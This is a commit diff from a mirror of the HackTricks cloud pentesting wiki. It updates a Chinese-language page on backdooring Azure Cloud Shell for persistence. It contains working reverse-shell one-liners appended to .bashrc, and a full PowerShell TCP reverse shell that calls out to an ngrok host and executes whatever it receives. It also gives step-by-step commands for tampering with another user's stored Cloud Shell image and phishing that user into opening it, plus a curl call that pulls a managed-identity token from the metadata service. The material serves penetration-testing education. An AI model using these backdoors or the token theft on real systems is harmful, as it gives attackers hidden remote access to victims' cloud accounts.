mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -6,12 +6,12 @@
|
||||
|
||||
Azure Cloud Shell 提供命令行访问以管理 Azure 资源,具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点:
|
||||
|
||||
* **持久存储**:Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束后也保持完整。
|
||||
* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,允许在云 shell 启动时进行持久执行。
|
||||
* **Persistent Storage**: Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束后也保持不变。
|
||||
* **Startup Scripts**: 像 `.bashrc` 或 `config/PowerShell/Microsoft.PowerShell_profile.ps1` 这样的文件在每个会话开始时自动执行,从而允许在云 shell 启动时进行持久执行。
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
这个后门可以在用户完成云 shell 后的 5 分钟内执行命令。
|
||||
|
||||
@@ -19,4 +19,41 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
### Cloud Shell Phishing
|
||||
|
||||
如果攻击者在他有读写权限的存储帐户中找到其他用户的镜像,他将能够下载该镜像,**在其中添加一个 bash 和 PS 后门**,并将其上传回存储帐户,以便下次用户访问 shell 时,**命令将被自动执行**。
|
||||
|
||||
- **下载、后门和上传镜像:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
|
||||
|
||||
# Mount the image
|
||||
mkdir /tmp/backdoor_img
|
||||
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
|
||||
cd /tmp/backdoor_img
|
||||
|
||||
# Create backdoor
|
||||
mkdir .config
|
||||
mkdir .config/PowerShell
|
||||
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Unmount
|
||||
cd /tmp
|
||||
sudo umount /tmp/backdoor_img
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
|
||||
```
|
||||
- **然后,钓鱼用户以访问 https://shell.azure.com/**
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user